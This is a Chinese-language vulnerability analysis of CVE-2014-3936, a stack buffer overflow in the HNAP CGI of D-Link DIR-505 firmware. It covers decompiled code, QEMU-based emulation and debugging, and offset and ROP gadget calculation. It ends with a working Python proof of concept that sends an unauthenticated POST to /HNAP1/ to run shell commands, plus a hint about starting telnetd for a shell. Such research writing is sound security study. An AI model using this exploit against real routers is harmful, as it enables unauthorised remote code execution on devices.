CVE-2014-3936 dir-505 數組越界緩沖區溢出
漏洞分析
CVE-2014-3936 是發生在 dlink 旗下路由器 dir-505 的緩沖區溢出漏洞,漏洞存在于固件版本 1.07 及以前的 HNAP 處理程序中,漏洞發生在 HNAP 處理請求的時候,將 CONTENT_LENGTH 大小的數據直接復制到了緩沖區中,如果 CONTENT_LENGTH 大小超過了緩沖區大小,就會導致緩沖區溢出,進而實現代碼執行。總之,是一個數組越界導致緩沖區溢出的漏洞。
此次漏洞分析采用的是 dir-505 固件版本 1.07,漏洞下載地址見參考鏈接。通過分析固件的文件系統,可以知道服務器采用的是 lighttpd 作為后端,lighttpd 也是嵌入式設備經常使用的一個小型 http server。發生漏洞的程序是 ./usr/bin/my_cgi.cgi,使用的是 fastcgi 調用過程,當收到 uri 為 HNAP1 的數據包時,會將數據包通過環境變量和標準輸入 STDIN 傳給 my_cgi.cgi 進行處理。
漏洞發生的位置是在 main -> do_hnap 函數中,do_hnap 函數在從環境變量中讀取數據的時候,先讀取數據包長度 CONTENT_LENGTH,然后根據其大小,通過一個循環,從標準輸入中每次讀取一個字節放在函數棧上的緩沖區中。如果 CONTENT_LENGTH 過大,就會導致緩沖區溢出,實際上就是數據包的數據夠多,就會發生緩沖區溢出。IDA 中反編譯的關鍵流程如下:
int do_hnap() { dec_content_length = 0; content_length = getenv("CONTENT_LENGTH"); // 從環境變量獲取 CONTENT_LENGTH if ( content_length ) dec_content_length = strtol(content_length, 0, 10); // 將 CONTENT_LENGTH 轉化為 10 進制 ... if ( dec_content_length > 0 ) { loop_pointer = v12; // 指向 buf 的起始位置 end_of_buf = &v12[dec_content_length]; // 指向 buf 的結束位置 memset(v12, 0, sizeof(v12)); // 對 buf 清零 while ( stdin->_fileno ) { v6 = stdin->_IO_write_base; if ( v6 >= stdin->_IO_write_end ) { v8 = (int (**)(FILE *))&_fgetc_unlocked;// v8 實際上是一個函數指針LABEL_21: v7 = ((int (*)(void))v8)(); // 調用 fgetc goto LABEL_22; } v7 = *v6; stdin->_IO_write_base = v6 + 1;LABEL_22: *loop_pointer++ = v7; // 將 fgetc 讀取到的字符寫入到 buf if ( loop_pointer == end_of_buf ) // 結束從 STDIN 中讀取 { ... } } v8 = &fgetc;
在 do_hnap 函數中,函數執行完畢后的返回地址在初始化堆棧的時候存放在 sp + 0x7574,緩沖區的起始地址是 sp + 0x30,那么一共需要 30020 個字節使緩沖區溢出,再額外溢出 4 個字節就可以修改保存再堆上的返回地址,最后 do_hnap 函數執行完畢將返回地址從棧中取出到 ra 寄存器然后跳轉,就可以達到劫持控制流的目的。緩沖區的起始地址可以從 IDA 直接反編譯得到。
.text:00430DBC sw $ra, 0x7560+var_s14($sp) # 保存返回地址到棧上....text:00431168 lw $ra, 0x7574($sp) # 從棧上恢復返回地址跳轉執行....text:00431184 jr $ra.text:00431188 addiu $sp, 0x7578
環境搭建
后端的 server 是 lighttpd,一開始沒有在固件根目錄下面找到 html 文件,在 cq 師傅的提醒下,先分析系統的啟動腳本 ./etc/rc.d/rcS。在啟動腳本中,掛載一些設備和創建相關目錄,然后是系統初始化程序 system_manager 運行,在其中也會通過 system 函數執行一些命令。如下是系統初始化腳本。
#!/bin/ash # This script runs when init it run during the boot process.# Mounts everything in the fstabmount -amount -o remount +w / # Mount the RAM filesystem to /tmpmount -t tmpfs tmpfs /tmp # 此處會覆蓋掉原來的 etc 目錄# copy all files in the mnt folder to the etc foldercp -a /mnt/* /etc ln -sf /etc/hotplug/hotplug /sbin/hotplug mkdir -p /var/etcmkdir -p /var/firmmkdir -p /var/logmkdir -p /var/miscmkdir -p /var/runmkdir -p /var/sbinmkdir -p /var/tmpmkdir -p /tmp/var # 系統初始化程序#/bin/echo "Init System..."system_manager & #/bin/echo "Start tftpd..."tftpd &
將系統初始化程序 system_manager 放入 IDA 分析,在 main -> init_system -> init_web_server -> init_html_files 中可以看到是如何將原本存放在 mnt 目錄下的 html 文件解壓出來的,那我們在啟動 lighttpd 之前就可以手動執行相關的命令,將 html 文件準備好。
int init_html_files(){ system("tar -zxf /etc/www.tgz"); system("rm -f /etc/www.tgz"); if ( !byte_416321 ) system("mv /www/ap/* /www"); system("rm -rf /www/ap"); if ( byte_416321 == 2 ) system("mv /www/rt/* /www"); system("rm -rf /www/rt"); if ( byte_416321 == 3 ) system("mv /www/rpt/* /www"); system("rm -rf /www/rpt"); if ( byte_416321 == 4 ) system("mv /www/whp/* /www"); system("rm -rf /www/whp"); system("cp -f /usr/bin/my_cgi.cgi /www"); copy_default_xml(); return read_lang_from_flash();}
最后是看 system_manager 是如何啟動 lighttpd 的,可以在 IDA 中直接搜索字符串 lighttpd,定位到 init_web_server 函數中,然后分析 system 函數傳入的參數,就可以得到 lighttpd 的啟動命令 lighttpd -f /etc/lighttpd/lighttpd.conf。此處如果直接 F5 的話,分析得到的 system 傳入命令不完整。
.text:00403C00 addiu $a0, (aLighttpdFS - 0x400000) # "lighttpd -f %s &".text:00403C04 addiu $a1, (aEtcLighttpdLig_0 - 0x400000) # "/etc/lighttpd/lighttpd.conf".text:00403C08 jr $t9 ; _system.text:00403C0C addiu $sp, 0x20
以上是分析工作,實際上真正啟動服務器,可以先直接執行啟動腳本 ./etc/rc.d/rcS,執行完之后,./etc 目錄被原本 ./mnt 中的文件替代了,html 文件被解壓出來放在了 ./www 文件夾中。運行如下命令,就可以啟動 http 服務了。
# 進入固件根目錄chroot . ./etc/rc.d/rcS# 再執行一遍 system_manager 這個地方會卡住 因為有些 /dev 沒有被掛載,例如 nvramchroot . ./usr/bin/system_manager# 啟動 lighttpd,-D 不進入后臺運行chroot . ./usr/bin/lighttpd -f ./etc/lighttpd/lighttpd.conf -D

漏洞復現
上述的環境搭建其實是不完善的,例如登錄操作這種需要 nvram 的根本執行不了,好在這次漏洞是一個無需認證的漏洞。我沒有找到在 lighttpd 中是怎么調用的 my_cgi.cgi,那就直接調試 cgi,通過環境變量傳入數據進行調試。
幸運的是,可以直接使用 QEMU 進行調試這個漏洞,漏洞的觸發過程也不涉及到額外的 patch 工作。首先分析如何才能使代碼執行到 do_hnap 函數中存在漏洞的代碼處。在 main 函數中,需要設置環境變量 SCRIPT_NAME = HNAP1,使之進入 do_hnap 函數,然后設置環境變量 SOAP_ACTION != (Reboot | SetRouterLanSettings | SetWLanRadioSecurity | SetWLanRadioSettings),也就是不等于以上四者。最后設置環境變量 CONTENT_LENGTH 控制從標準輸入讀入到緩沖區的字節數目。
觸發漏洞的調試腳本如下,補充說明一下需要將 qemu-mips-static 程序復制到固件的根目錄下,這樣 chroot 的時候才可以正確使用 qemu-mips-static 進行調試。
# sudo ./debug_mycgi.sh#!/bin/bash export SCRIPT_NAME="HNAP1"export SOAP_ACTION="soap"export CONTENT_LENGTH="30028" STDIN=`python -c "print 'A'*30020 + 'deadbeef'"`echo "$STDIN" | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi

路由器上的程序安全措施通常非常簡單,沒有 NX 也沒有 PIE,此處就直接使用 ret2syscall 來達到命令執行的操作,在 IDA 中使用 mipsrop 插件搜索合適的 gadget,決定使用 0x00405C5C 處。
.text:00405C5C la $t9, system .text:00405C60 li $s1, loc_430000 .text:00405C64 jalr $t9 ; system .text:00405C68 addiu $a0, $sp, 0x64+var_3C # command
當劫持了控制流執行到 gadget,堆棧已經從 do_hnap 函數中恢復了平衡,通過計算,system 函數執行的命令保存在相對于 buf 30064 個字節處,總結就是:buf 寫入 30020 個字節之后可以覆蓋返回地址到 gadget 0x00405c5c,再寫入 40 個字節可以寫入 system 函數執行的命令,那么先用 python 腳本寫入一個 stdin 文件,然后在調試腳本中通過 cat 輸出文件內容,通過管道傳遞給 qemu
# python poc.py
cmd = b'touch test\x00'
with open('./stdin', 'wb') as f:
poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd
f.write(poc)
# sudo ./debug_mycgi.sh
#!/bin/bash
export SCRIPT_NAME="HNAP1"
export SOAP_ACTION="soap"
export CONTENT_LENGTH="30080"
cat ./stdin | chroot . ./qemu-mips-static -g 12345 ./usr/bin/my_cgi.cgi
使用 gdb-multiarch 連接上 target remote :12345,然后在 do_hnap 函數恢復返回地址到 ra 寄存器處下斷點 b *0x431168,可以看到執行完當前指令后,ra 被寫入為 gadget 地址 0x405c5c

繼續單步調試到執行 gadget,調用 system 函數,執行的命令保存在 sp + 0x28 處。

可以看到成功命令執行,創建了 test 文件

漏洞利用
如上的漏洞復現調試是針對與 my_cgi.cgi,而真實運行環境是通過 lighttpd 服務器接受用戶發送請求數據包,然后將數據通過環境變量以及 STDIN 傳遞給 my_cgi.cgi 進行處理,漏洞發生也是在這個地方,那么漏洞利用需要構造數據包向 lighttpd 傳遞。初次之外,還需要看固件支持哪些命令,例如此處的 busybox 支持的命令如下:
BusyBox v1.01 (2013.05.23-09:13+0000) multi-call binary
Usage: busybox [function] [arguments]... or: [function] [arguments]...
BusyBox is a multi-call binary that combines many common Unix utilities into a single executable. Most people will create a link to busybox for each function they wish to use and BusyBox will act like whatever it was invoked as!
Currently defined functions: [, arping, ash, brctl, busybox, cat, chmod, cp, cut, date, dd, df, dirname, du, echo, egrep, fdisk, fgrep, find, free, grep, head, hostname, ifconfig, init, insmod, kill, killall, klogd, linuxrc, ln, logger, login, logread, ls, lsmod, md5sum, mkdir, mount, mv, nslookup, ping, ps, reboot, rm, rmmod, route, sed, sh, sleep, syslogd, tar, telnetd, test, tftp, touch, tr, tty, umount, uname, vconfig, vi, wc, wget, xargs, zcip
那么簡潔版的 exp 如下,執行結果是直接寫回了到返回數據包中。
import requests cmd = b'ls -l\x00' poc = 30020 * b'A' + b'\x00\x40\x5c\x5c' + 40 * b'B' + cmd res = requests.post(url='http://127.0.0.1:80/HNAP1/', data=poc) print(res)

通過 busybox 支持的命令也可以看到,有 telnetd,如果在實體機上要獲取到一個可交互的 shell,那么可以開啟設備的 telnet 服務。
個人小結
如下是個人覺得可以加深對于程序執行流程理解的一些點:
do_hnap 函數中循環的控制及 MIPS 架構 s 系列寄存器的用法寄存器 s0~s7 通常是用來在子函數內部使用,如果在子函數內部還需要調用函數,那么需要將這些寄存器的值保存在棧上,執行完調用函數后進行恢復。例如 s0~s7 在 main 函數中使用,當 main 函數調用 do_hnap 的時候,在 do_hnap 函數的初始化堆棧時,將寄存器保存到了棧上。因此,我們在緩沖區溢出的時候,有時候不止可以控制 ra 寄存器,還可以控制 s 系列寄存器。
# do_hnap 函數初始化過程.text:00430DAC li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .).text:00430DB4 addu $gp, $t9.text:00430DB8 addiu $sp, -0x7578.text:00430DBC sw $ra, 0x7560+var_s14($sp).text:00430DC0 sw $s4, 0x7560+var_s10($sp).text:00430DC4 sw $s3, 0x7560+var_sC($sp).text:00430DC8 sw $s2, 0x7560+var_s8($sp).text:00430DCC sw $s1, 0x7560+var_s4($sp).text:00430DD0 sw $s0, 0x7560+var_s0($sp)...# do_hnap 函數執行完畢 .text:00431168 lw $ra, 0x7574($sp).text:0043116C move $v0, $s0.text:00431170 lw $s4, 0x7570($sp).text:00431174 lw $s3, 0x756C($sp).text:00431178 lw $s2, 0x7568($sp).text:0043117C lw $s1, 0x7564($sp).text:00431180 lw $s0, 0x7560($sp).text:00431184 jr $ra.text:00431188 addiu $sp, 0x7578
那么現在回歸正題,do_hnap 函數是使用的 s0 指向 buf 的起始地址,s1 指向 buf 的結束位置,s3 指向標準輸入的起始地址。循環的結構使用 IDA 的控制流圖看的話,就非常簡介明了。s0 先指向 buf 起始地址,每次調用 fgetc 讀取一個字符保存到 s0,然后 s0 自加指向下一個位置,直到 s0 指向結束地址。
.text:00430F9C la $s3, stdin # 標準輸入存儲在 s3 寄存器.text:00430FA0 move $s0, $a0 # s0:指針指向 buf 的起始位置.text:00430FA4 addu $s1, $a0, $s1 # s1:指針指向 buf 的結束位置....text:00431010 sb $v0, 0($s0) # 將從 fgetc 讀取到的字符存儲到緩沖區.text:00431014 addiu $s0, 1 # s0 移動到緩沖區下一個位置.text:00431018 bne $s0, $s1, loc_430FB4 # 比較進行跳轉
關于 server 的啟動命令分析可以分析固件文件系統的初始化啟動腳本,通常在 /etc/rc* 文件或者目錄下,就可以得到設備啟動時執行了哪些初始化工作,例如掛載設備、創建文件等等。此處還有解壓 html 文件,應該為了節省設備的存儲空間,第一次啟動的時候進行解壓。
關于漏洞利用執行結果回顯如果設備固件中帶有一些可以進行交互的程序例如 sshd、telnetd 等服務,那么命令執行可以通過這些程序直接獲取到一個可交互的 shell,如果沒有,可以考慮把執行結果寫回到設備的 www 目錄中的文件,通過 http 服務訪問命令執行結果。